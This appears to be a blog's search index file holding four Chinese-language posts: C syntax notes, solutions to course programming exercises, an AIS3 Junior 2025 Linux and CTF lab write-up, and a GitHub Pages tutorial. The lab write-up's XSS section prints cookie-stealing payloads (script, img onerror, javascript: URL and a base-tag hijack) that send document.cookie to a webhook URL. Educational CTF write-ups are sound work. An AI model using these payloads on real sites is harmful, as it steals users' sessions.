-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.json
More file actions
1 lines (1 loc) · 28.9 KB
/
search.json
File metadata and controls
1 lines (1 loc) · 28.9 KB
1
[{"title":"C語言語法複習整理","url":"/Blog/2025/11/05/C%E8%AA%9E%E6%B3%95%E8%A4%87%E7%BF%92%E6%95%B4%E7%90%86/","content":"自己寫的語法小筆記,有錯還請指正感謝!\n\nReadme此份講義為@Mon3tr(zergling-73)所撰寫,目的為準備逢甲資工一甲程式設計I課程的考試,使用時請遵循MIT開源協議,如有內容有問題再麻煩聯絡,感謝!\n變數設定int宣告和初始化 int x = 1;定義整數 範圍是-2,147,483,648~2,147,483,647使用 unsigned int 範圍是0~4,294,967,295使用 %d 來呼叫\nfloat宣告和初始化 float f = 3.141592;定義單精度浮點數 基本上保證小數點後6位精準使用 %.2f 輸出浮點數(到小數點後第二位)強制轉型語法:(float)intVar\ndouble宣告和初始化 double d = 3.141592653589793;定義雙精度浮點數 基本上保證小數點後15位精準佔用記憶體多 但更加精確使用 %lf 來呼叫\nchar宣告和初始化 char A = 'A';定義單一字元 使用’’單引號包裹字元 底層使用ASCII編碼儲存可用 %c 呼叫字元 也可用 %d 呼叫ASCII編碼Ex:\nchar A = 'A';printf("%d",A); //--->65printf("%c",A); //--->A\n利用getchar()來獲取輸入字元:\n#include <stdio.h>int main() { int ch; printf("請輸入一串文字(按 Enter 結束):\\n"); while ((ch = getchar()) != '\\n') { // 直到輸入換行為止 printf("你輸入了:%c\\n", ch); } printf("輸入結束。\\n"); return 0;}\ngetchar()+array:\n#include <stdio.h>int main() { char text[100]; int i = 0; int ch; printf("請輸入一串字元(按 Enter 結束):\\n"); while ((ch = getchar()) != '\\n' && i < 99) { // 99 留一格給 '\\0' text[i] = ch; i++; } text[i] = '\\0'; // 字串結尾符號 printf("你輸入的是:%s\\n", text); return 0;}//input:1234532454345//text={1,2,3,4,5,3,2,4,5,4,3,4,5}\n輸出&輸入基本格式: printf("%d",x);輸出 , scanf("%d",&x);輸入常用格式化輸出:%d 整數 %f浮點數 %c字元\nif( ){ }else{ }基本格式:\nif(){}else if(){}else{}\n條件判斷時常使用 && AND , || OR , == Equal To, ! NOT 來進行判斷特別注意 = 是指派, ==才是比較! 代表反轉布林值 例如\n 0 = flase!0 = true 1 = true!1 = false\nfor()迴圈重複執行已知次數或可計算次數的迴圈基本格式:\nfor(int i=0;i<100;i++){ //(變數;條件;每次執行完後的動作)}//執行100次\n可搭配 break, continue來控制流程\nwhile()迴圈重複執行直到條件成立的迴圈基本格式:\nint i = 0;while(i<100){ i++;}//執行一百次\n也可使用無限迴圈搭配 continue, break:\nwhile(1){ //執行無限次}\ndo{}while()語法,必定執行一次:\n#include <stdio.h>int main() { int i = 0; // 初始化計數器 do { printf("Hello"); i++; } while (i < 3); }//會執行初始+2次,共三次\nswitch&case用於多條件分支時的判斷基本格式:\nint data = 1; // =2,=3,=4....switch(data){ case 1: printf("Hello World"); break; case 2: case 3: printf("林宣立又粗又帥"); break; default: printf("Goodbye");}\n將switch包裹在 for() , while() 迴圈中,在case中使用 return 0; 除了會終止本身運作,還會終止外層迴圈,因為return 0 本身的意義是終止整個 main(){} 函式\narray陣列建立一個儲存庫,一個陣列內必須為同型別才行基礎格式:\nint arr[]={1,2,3}; //建立一個陣列 int arr[5]; //建立一個空間5的陣列 編號為0~4int arr[]={1,2,3}; //自動建立大小為3的陣列int seen[10]={1}; //0~9的值全部為{0,0,0,0,0,0,0,0,0,0}\n存取與修改:\narr2[]={1,2,3,4,5,6,7};arr2[0] = 10; // 修改第0個元素 1 -> 10printf("%d\\n", arr2[0]); // 印出10\n陣列搭配 for 迴圈:\n#include <stdio.h>int main() { int arr[5] = {3, 1, 4, 1, 5}; int sum = 0; for (int i = 0; i < 5; i++) { sum += arr[i]; } printf("total = %d\\n", sum); return 0;}\n函式、函式庫函式建立與呼叫函式的建立與呼叫:\n#include <stdio.h>int add(int a, int b) { //建立add函式 return a + b;}int main() { int result = add(3, 4); //呼叫add函式 printf("%d\\n", result); return 0;}\n函式要在main函式之前宣告\n<stdlib.h>函式庫使用 #include<stdlib.h> 來宣告常用:\n//取絕對值int a = abs(-5); a=5//隨機數int a = rand() % 100; 取0~99亂數\n<math.h>函式庫使用 #include<math.h> 來宣告常用:\n//開根號int a = 9;a = sqrt(a); //a=3//次方pow(2,3); // 2*2*2 2的3次方\n<string.h>函式庫使用 #include<string.h> 來宣告\n//求長度char a[] = "abc"; int b; b = strlen(a); printf("%d\\n", b); \n<stdbool.h>函式庫使用 #include<stdbool.h> 來宣告\nbool a = false;bool b = true; bool seen[10]={false}; // ={false,....,false }"},{"title":"逢甲資訊一甲「程式設計I」課程題目Write-Up","url":"/Blog/2025/10/10/%E9%80%A2%E7%94%B2%E8%B3%87%E8%A8%8A%E4%B8%80%E7%94%B29%E6%9C%88+10_01%E7%A8%8B%E5%BC%8F%E8%AA%B2%E7%A8%8B%E9%A1%8C%E7%9B%AEWrite-Up/","content":"自己寫的小筆記,有錯還請指正感謝!\n\n複習程式順便整理的筆記這裡的每份code都有完成課堂要求 或在 FCUOJ中AC編譯環境:VScode(Apple clang version 17.0.0)題目來源:逢甲大學張哲誠教授程式設計課程本文章中所有的程式碼使用時請遵循MIT License開源協議部分程式碼並未能處理所有情況,僅能處理題目所要求的測資範圍文章中有任何錯誤歡迎回報,感謝!\n第一題(114/09/17):題目:\n參考今天上課教的計算分數程式大於100要有警示,但不列入計算小於-1要有警示,但不列入計算-1結束程式印出全班總分、總人數、不及格人數當總人數為0時要有警示\n\ncode:\n#include<stdio.h>int main(){ int grade,count,total; float average; count = 0; total = 0; int udg = 0; while(1){ printf("Plz enter grade or enter '-1' to end\\n"); scanf("%d",&grade); if(grade == -1){ printf("break\\n"); break; } if(grade > 100 || grade < 0 ){ printf("invalid number\\n"); continue; } total += grade; count += 1; if(grade<60){ udg +=1; } } if(count == 0){ printf("人數錯誤"); }else{ average = (float)total / count; printf("總分 = %d,平均 = %.2f,人數 = %d,不及格人數 = %d\\n",total,average,count,udg); }}\n解題思路:使用while(1)無限迴圈,可以在條件符合的情況下無限制運行,讓我們可以自由決定輸入幾次,直到輸入-1前都不會停止,同時利用continue;、break;來跳過不合輸入規則的數字或判斷是否要停止程式,若數字通過條件判斷,則將其加入total變數中計算總分,並使count紀錄人數變化。\n第二題(114/09/19):題目:\n找出最大數不限數量只輸入正整數輸入-1就結束印出最大的數字\n\ncode:\n#include<stdio.h>int main(){ int num,max; max = -1; while(1){ printf("輸入正整數 或輸入-1結束\\n"); scanf("%d",&num); if(num == -1){ break; } if(num < 0){ printf("error\\n"); continue; } if(num > max){ max = num; } } printf("max=%d\\n",max);}\n解題思路:同樣使用while(1)無限迴圈進行,使用int max=-1;用以比較數字的大小並記錄,每次進入迴圈都會讓使用者輸入正整數,若輸入不合規數則跳過該次輸入;輸入正整數則會和max變數做比大小,若比max大,則max=該次輸入的正整數;輸入-1則會終止程式碼並輸出最大數。\n第三題(114/09/19):題目:\n找出最大的兩個數不限數量只輸入正整數輸入-1就結束印出最大的兩個數字\n\ncode:\n#include<stdio.h>int main(){ int num,max; max = 0; int minmax = 0; while(1){ printf("輸入正整數 或輸入-1結束\\n"); scanf("%d",&num); if(num == -1){ break; } if(num < 0){ printf("error\\n"); continue; } if(num > max){ if(max>minmax){ minmax = max; } max = num; }else if(num> minmax){ minmax = num; } } printf("%d %d\\n",max,minmax);}\n解題思路:做法和上一題非常相似,但是變成要記錄第一和第二大的正整數,我一樣使用max變數來記錄最大正整,另外使用minmax變數來紀錄第二大的數字,判斷條件則需要從上一題變成使用if韓式判斷:若該次輸入正整數num比max大,則minmax=max;、max=該次輸入的正整數;而若num小於max,則將num和minmax比大小,若比minmax大,則minmax=num。\n第四題(2025/09/24):題目:\n參考今天上課教的複利程式,不使用數學函式來實現輸入本金x輸入年利率y輸入z年內所有結算總額\n\ncode:\n#include<stdio.h>int main(){ float x,y,z; scanf("%f",&x); scanf("%f",&y); scanf("%f",&z); for (int i =0;i<z;i++){ //for i in range(z); x *= (1+y);//result printf("%.2f\\n",x); }}\n\n解題思路:使用x變數紀錄本金,使用y變數紀錄利率,使用z變數紀錄存款年份,使用for迴圈執行z(年份數),因為是複利計算,每年本金變化=本金+本金乘以利率(該年利息)。\n第五題(114/09/24):題目:\n固定式99乘法表排版優化\\t\\n\n\ncode:\n#include<stdio.h>int main(){ for(int i=1;i<10;i++){ for(int j=1;j<10;j++){ if(j == 9){ printf("%d*%d=%d",i,j,i*j); }else{ printf("%d*%d=%d\\t",i,j,i*j); } } printf("\\n"); }}\n\n解題思路:題目要求我們輸出一份九九乘法表會長像這樣:\n1*1=1 1*2=2 1*3=3 1*4=4 1*5=5 1*6=6 1*7=7 1*8=8 1*9=92*1=2 2*2=4 2*3=6 2*4=8 2*5=10 2*6=12 2*7=14 2*8=16 2*9=183*1=3 3*2=6 3*3=9 3*4=12 3*5=15 3*6=18 3*7=21 3*8=24 3*9=274*1=4 4*2=8 4*3=12 4*4=16 4*5=20 4*6=24 4*7=28 4*8=32 4*9=365*1=5 5*2=10 5*3=15 5*4=20 5*5=25 5*6=30 5*7=35 5*8=40 5*9=456*1=6 6*2=12 6*3=18 6*4=24 6*5=30 6*6=36 6*7=42 6*8=48 6*9=547*1=7 7*2=14 7*3=21 7*4=28 7*5=35 7*6=42 7*7=49 7*8=56 7*9=638*1=8 8*2=16 8*3=24 8*4=32 8*5=40 8*6=48 8*7=56 8*8=64 8*9=729*1=9 9*2=18 9*3=27 9*4=36 9*5=45 9*6=54 9*7=63 9*8=72 9*9=81\n我們使用兩層for迴圈去執行,由i變數去記錄首位數字,j變數紀錄後位數字,每個輸出之間都要間格(\\t),並且每行輸出完後要進行換行(\\n),同時由於OJ的判斷要求,每一行的i*9=...最後面不能出現空格(\\t),所以要用if判斷式判斷j是否為9,若是則不能在後方加入空格(\\t)。\n第六題(114/09/26):題目:\n印星星輸入一個非負的整數拆解個位數、十位數、百位數…印出對應數量的星星(從個位數開始,記得換行)\ncode:\n#include<stdio.h>int main(){ int a,star; scanf("%d",&a); while(a!=0){ star = a%10; a /= 10; for(int i =0;i<star;i++){ printf("*"); } printf("\\n"); }}\n解題思路:我的想法是將數字持續除以10以求每位餘數(也就是個位數字),利用while(a!=0)來判斷是否完成計算,每次的星星數量等於該次數字除以10後的餘數,並利用for迴圈來輸出相應次數的*星星,每次輸出完記得換行(\\n)。\n第七題(114/09/26):題目:\n判斷是不是質數質數:大於1的正整數,只能被自己和1整除2、3、5、7…\ncode:\n#include<stdio.h>int main(){ int a,is=1; scanf("%d",&a); if(a<=1){ is=0; }else if(a==2){ is=1; }else{ for(int i=2;i<a;i++){ if(a%i==0){ is=0; break; } } } if(is){ printf("Yes"); }else{ printf("Not"); }}\n解題思路:利用if判斷式來處理,先處理數字=1的情況,若數字等於1則不是質數,直接輸出Not,若數字等於2則是質數,直接輸出Yes,若數字大於3,則判斷該數在[2~(該數減1)]的區間內是否有任何數可以整除,若出現任何可整除的情況則break;結束函式並輸出Not,若執行完且未有任何數可整除,則代表該數的因數只有1和該數本身,為質數。\n第八題(114/09/26):題目:\n判斷x以下(含x)的正整數,有哪些質數例如:輸入10,輸出就會是2 3 5 7\ncode:\n#include<stdio.h>int test(int a){ int is=1; if(a<=1){ is=0; }else{ for(int i=2;i<a;i++){ if(a%i==0){ is=0; break; } } } if(is){ return 1; }else{ return 0; }}int main(){ int num; scanf("%d",&num); for(int i=2;i<=num;i++){ int testnum; testnum = test(i); if(testnum == 1){ printf("%d\\n",i); } }}\n\n解題思路:這題和上一題所處理的問題是一樣的,只是這題多了一個判斷小於該數的所有正整數有哪些是質數,我將上一題的程式碼稍微改寫後製作成函式test用於測試數字是否為質數,在主程式碼中我則用for函式遍歷所有小於該數的正整數,把每一個數字丟入test函式中判斷。\n第九題(114/10/01):題目:\n畫聖誕樹只要輸入樹葉高度樹葉成長比例為1、3、5、7、9…樹根高度一律是2就好樹根寬度為floor(樹葉高度/2)成長比例為1、3、5、7、9…,但至少為1注意樹根要放在正中央\ncode:\n#include<stdio.h>int main(){ int tree; int lev=1; scanf("%d",&tree); //lev for(int i=tree;i>0;i--){ for(int j =0;j<i-1;j++){ printf(" "); } for(int j =1;j<lev+1;j++){ printf("*"); } lev+=2; printf("\\n"); } //root int root=1; if(tree>3){ root=(lev-2)/2; if (root%2==0){ root+=1; } } int sc=0; sc = ((lev-root)/2)-1; for(int i=1;i<sc+1;i++){ printf(" "); } for(int i=0;i<root;i++){ printf("|"); } printf("\\n"); for(int i=1;i<sc+1;i++){ printf(" "); } for(int i=0;i<root;i++){ printf("|"); }}\n解題思路:tree變數紀錄樹葉高度,我將樹葉和樹根的輸出分開寫。先判斷樹葉:我利用for迴圈i變數去紀錄樹葉層數,並在該層迴圈下再寫兩個迴圈,利用j變數紀錄該行要輸出的空格數,利用k變數紀錄該行要輸出的*數,同時利用lev紀錄該行的*數(我需要最後一層樹葉的*數量)。接下來開始處理數根:預設樹根寬度為1,若樹葉大於三層則開始透過「(lev-2)/2,若數值為偶數則+1」的計算方法來求樹根寬度,並使用sc變數來計算要輸出的空格數(樹根必須置中)。\n第十題(114/10/01):題目:\n猜大小輸入一個整數當答案輸入一個整數當猜測值會有三種可能:太大、太小、正確玩到直到猜對為止\ncode:\n#include<stdio.h>int main(){ int ans,num; scanf("%d",&ans); while(1){ scanf("%d",&num); if(num>ans){ printf("Too Big\\n"); } else if(num<ans){ printf("Too Small\\n"); } else{ printf("Correct"); break; } }}\n解題思路:使用while(1)無限迴圈進行判斷,若輸入的數大於答案,則輸出Too Big;若輸入的數小於答案,則輸出Too Small;若輸入的數等於答案,則輸出Correct,同時break;結束迴圈。\n第十一題(114/10/01):題目:\n輸入一個二進制(只有0跟1),為了簡化,先存在int就好換算成十進制(有0123456789),也是int就好所以上述兩個值的開頭一定不會為0\ncode:\n#include <stdio.h>#include <math.h>//拿來方便計算次方:)int main() { int a, count = 0, fians = 0; scanf("%d", &a); while (a > 0) { int num = a % 10; int ans = num * (int)pow(2, count); fians += ans; count++; a /= 10; } printf("%d\\n", fians);}\n解題思路:和第六題很像,我們也需要得到原本的個位數和每次數值除以十後的個位數,利用while(a>0)來判斷是否計算完畢,我們在計算機概論課程有學到二進制轉十進制的方法,每一位數乘以2的0次方…2的1次方…以此類推最後把相乘結果相加,所以我們只需要紀錄當前位數以及加總每次的計算結果即可。\n第十二題(114/10/08):題目:\n參考課本範例輸入一串大小寫英文字(沒有特殊符號),做出abcxyz的計數使用switch\ncode:\n#include<stdio.h>int main(){ int ac=0,bc=0,cc=0,xc=0,yc=0,zc=0; char letter; while((letter=getchar()) != EOF){ switch(letter){ case 'a': case 'A': ac ++; break; case 'b': case 'B': bc ++; break; case 'c': case 'C': cc ++; break; case 'x': case 'X': xc ++; break; case 'y': case 'Y': yc ++; break; case 'z': case 'Z': zc ++; break; default: break; } } printf("%d %d %d %d %d %d",ac,bc,cc,xc,yc,zc);}\n解題思路:用 ac,bc,cc,…,zc 等變數紀錄出現次數,並利用while迴圈不斷地從char letter 中讀取字元,若字元為EOF(-1)則結束迴圈,每次while迴圈執行都會把字元丟入case中判斷,並在最後放在default來處理例外情況,最後在輸出得到的計數結果。\n第十三題(114/10/08):題目:\n輸入年份、月份算出當月有幾天使用switch閏年2月有29天年份被4整除且不被100整除為閏年年份被400整除也為閏年\ncode:\n#include<stdio.h>int yr(int y){ if((y%4)==0 && (y%100)!=0){ return 1; }else if((y%400)==0){ return 1; }else{ return 0; }}int dc(int m,int run){ switch(m){ case 1: case 3: case 5: case 7: case 8: case 10: case 12: return 31; case 4: case 6: case 9: case 11: return 30; case 2: if(run==1){ return 29; }else{ return 28; } }}int main(){ int year,month,day; scanf("%d %d",&year,&month); //1 3 5 7 8 10 12 //4 6 9 11 //2 int run = yr(year); day = dc(month,run); printf("%d",day);}\n解題思路:使用者會輸入年份和月份,例如 2025 10 我們需要先判斷該年是否為閏年,利用 yr() 函式庫計算該年份 y 是否為閏年,若為閏年 run 變數紀錄為1,若非則為0。接下來要處理該月份的日期,呼叫dc()函式庫,利用 switch() 函式去處理月份計算問題,最後在輸出日期數即可完成。\n第十四題(114/10/08):題目:\n使用switch實作一個ATM系統case 1:查詢餘額(預設為0)case 2:存款case 3:提款case 4:printf(“bye\\n");其它:printf(“error\\n");\ncode:\n#include <stdio.h>int main() { int money = 0; int put; while (1) { int x = 0; //if (scanf("%d", &put) == EOF) break; switch (put) { case 1: printf("%d\\n", money); break; case 2: scanf("%d", &x); money += x; break; case 3: scanf("%d", &x); money -= x; break; case 4: printf("bye\\n"); return 0; default: printf("error\\n"); break; } } return 0;}\n解題思路:模擬一個極簡易ATM系統,利用while(1)來無限執行,根據使用者輸入的指令決定行為,比較要注意的是如何跳出迴圈,在switch()中我們使用break;只會跳出switch迴圈,並無法跳出while()迴圈,有兩個解法,第一個是在case 4判斷後,直接return 0;跳出迴圈;或者乾脆把case 4刪掉,直接寫在 while(1) 內用 if() 判斷輸入是否為4,若為4直接break;並輸出”bye”,不進入switch()中。\n"},{"title":"AIS3 Junior 2025 前端課程","url":"/Blog/2025/08/15/AIS3%20Junior%202025%20%E5%89%8D%E7%AB%AF%E8%AA%B2%E7%A8%8B/","content":"AIS3 Junior 2025 Linux指令與前端Lab課程 筆記 & Write-Up\n\n\nAIS3 Junior 2025 Linux指令與前端Lab課程一、Linux Command資料管理:\nls 列出當前目錄下的內容\ncd 切換當前目錄\npwd 列出當前位置\ncp 複製檔案或目錄\nmv 移動/重新命名檔案\nrm 刪除檔案或目錄\nmkdir/rmdir 創建/刪除資料夾\ntouch 建立一個檔案\nfind尋找檔案\nstat 顯示檔案詳細資訊\n\n檔案處理:\ncat 印出內容\nnano/vim 編輯內容\ngrep 搜尋文字\nstrings 搜尋字串\nchmod/chown 變更檔案權限/擁有者\n\n系統管理:\nwhoami 顯示當前使用者\nsudo 以管理員身份執行\npasswd 更改密碼\nkill 終止程式\n\n遠端與網路:\nssh 遠端登入至伺服器\ncurl 用來傳輸資料/發起請求(http/https)\nping 測試伺服器連線情況\n\n二、Command Pratice第一題在講師提供的終端機環境中 cd進入challenge1ls列出檔案列表 發現有名為flag的檔案cat flag便可列出檔案內容得到FlagAIS3{C0N9_Y0UR_F1R57_F1A9_😼}\n第二題cd進入challenge2ls列出檔案列表 並未出現任何檔案使用ls -a列出所有檔案和隱藏檔案 發現有.flag的檔案cat後得到FlagAIS3{15_a1_W0N7_M155_D07_🚩}\n第三題cd進入challenge3ls列出檔案列表 發現flag 但權限不夠使用chmod 644 flag更改檔案權限cat flag顯示出一個要求 要我們在/tmp下建立一個名為meow的檔案使用touch建立後就立刻獲得FlagAIS3{M30W_M30W_900D_J0B5}\n第四題cd進入challenge4ls發現flag和grep在challende4目錄下cat flag後得到移動grep到challenge5目錄下的指令使用mv移動後即獲得FlagAIS3{M0V3_M0VE_HURRY_UP!}\n第五題cd進入challenge5使用剛剛移動至此的grep輸入./grep -r "AIS3" .和./grep -r "}" .就可以找到兩段FlagAIS3{M4st3r_0f_S34rch_1$_p0w3rfu11}\n第六題利用上述方法找到Flag後依提示rm flag便可得到FlagAIS3{RM_RF_CHUMMY_/_D0N7_D0_17_PL5}\n三、PicoCTF PraticeGET aHEAD根據題目名稱猜測要使用HEAD method來取得Flag使用burpsuite工具 用HEAD重送封包後便得到Flag\nCookies一開始會得到此畫面 此時的cookies value = -1將snickerdoodle輸入後搜尋 發現網頁的cookies value從-1變成0猜測解法應與cookies value大小有關再重複測試增加cookies value後在cookies value=18時得到了Flag\nInspect HTML題目名稱叫我們檢查HTML檔經過檢查發現Flag就在HTML中\nBookmarklet網頁提供了一段js code複製下來後在網頁console中運行 便可得到Flag\nWebDecode經過翻找後 在about頁面的html中找到一串亂碼丟入base64 decode後即獲得Flag\n四、XSS PraticeXSS1在輸入匡輸入任意內容後發現網頁HTML中會把輸入內容變成<p>輸入內容</p>接下來測試看看<script>alert(1)</script>可以成功跳出訊息接下來使用webhook去獲取使用者的cookiefetch('https://webhook.site/xxxxxxxxxxx'+document.cookie)回傳給admin後便可以得到一串亂碼 丟入base64 decode即可獲得FlagNCKUCTF{w3lc0m3_70_x55_w0rld}\nXSS2將輸入改成<img src = x onerror = fetch('https://webhook.site/xxxxxxxx'+document.cookie)>便可依照上述方法獲得FlagNCKUCTF{p53ud0_pr070c4l_15_50m3_71m3_3v4l}\nXSS3觀察發現 輸入的連結會變成超連結的連結網址利用javascript:偽協議將webhook連結放入程式碼中fetch('https://webhook.site/xxxxxxxxxxx'+document.cookie)便可依照XSS1、XSS2的解法獲取FlagNCKUCTF{1nn3rh7ml_15_n07_3x3cu73_5cr1p7}\nXSS4因為網頁有一次性隨機數(nonce)的存在無法直接XSS但可以注意到note.html下 有一個<base>元素我在Github Pages儲存庫中新增一個/static/script.js的檔案並在js檔中放入fetch('https://webhook.site/xxxxxx'+document.cookie)回到網頁 在輸入欄中輸入<base href=https://zergling73.com/>讓網頁連接回Github Pages儲存庫執行script.js再依照前幾題的方法 即可獲得FlagNCKUCTF{b453-url_w1ll_n07_f4llb4ck_70_d3f4ul7-5rc}\n","categories":["Write-up"],"tags":["AIS3 Junior"]},{"title":"Github Pages架設教學","url":"/Blog/2025/09/18/GithubPages/","content":"Github Pages個人網頁架設教學\n\n\n從零開始架—-GithubPages個人網頁介紹:只要有Github帳號,人人都可以免費透過Github Pages功能架設專屬於你的靜態個人網頁,用來展示你的特色、專長、興趣以及愛好!使用工具:1. Visual Studio Code(用來編輯網頁內容)2. 網頁模板(可自製,也可使用現成模板,例如:HTML5UP等…)3. Github(用來部署個人網頁)第一步驟:下載模板,這裡用HTML5UP來作範例:到HTML5UP中選自己喜歡的模板,可以點”Live Demo”來觀看樣板,選好後點選”Free Download”即可下載,下載後解壓縮會出現類似下圖的檔案:\n我們需要修改的只有”index.html”檔案(注意!這個檔案名稱不可以更改),現在我們先打開VSCode,按快捷鍵(ctrl+k+o)開啟檔案所在的資料夾,選取”index.html”檔案後就可以編輯了,我推薦安裝一個名為LiveServer的插件安裝完成後回到編輯程式碼的頁面,點及右下角的Go Live就可以一邊編輯一邊透過網頁實時查看編輯現況。如果需要的話 也可以參考我的網頁Repo:Makino-Shiro第二步驟,上傳至Github Pages:開啟Github Pages(沒有帳號請先註冊),點擊右上角頭像,選取”Your Repositories”後點擊畫面中的,進入下圖這畫面:幫你的專案命名,命名有規則{username.github.io},例如我的帳號名稱是Makino-Shiro,我的專案名稱就必須命名為”Makino-Shiro.github.io”(這也會是完成後你的網址),並注意要選取Public選項,完成後點擊”Create repository”。接下來你會看到這個畫面:\n點擊後上傳剛剛編輯完成的模板的檔案:完成後點擊Commit Changes後應該會長這樣\n如此便大功告成了,Github Pages會自動幫你部署(會需要一點時間)如果你不想用{.github.io}的網址格式,可以購買網域(例如向CloudFlare購買)後,綁定DNS便可用你的網域訪問網站了,例如我的網址是{Makino-Shiro.github.io},也可以用{zergling73.com}來訪問我的網頁!有任何問題也歡迎聯繫我!","categories":["Web"],"tags":["Github"]}]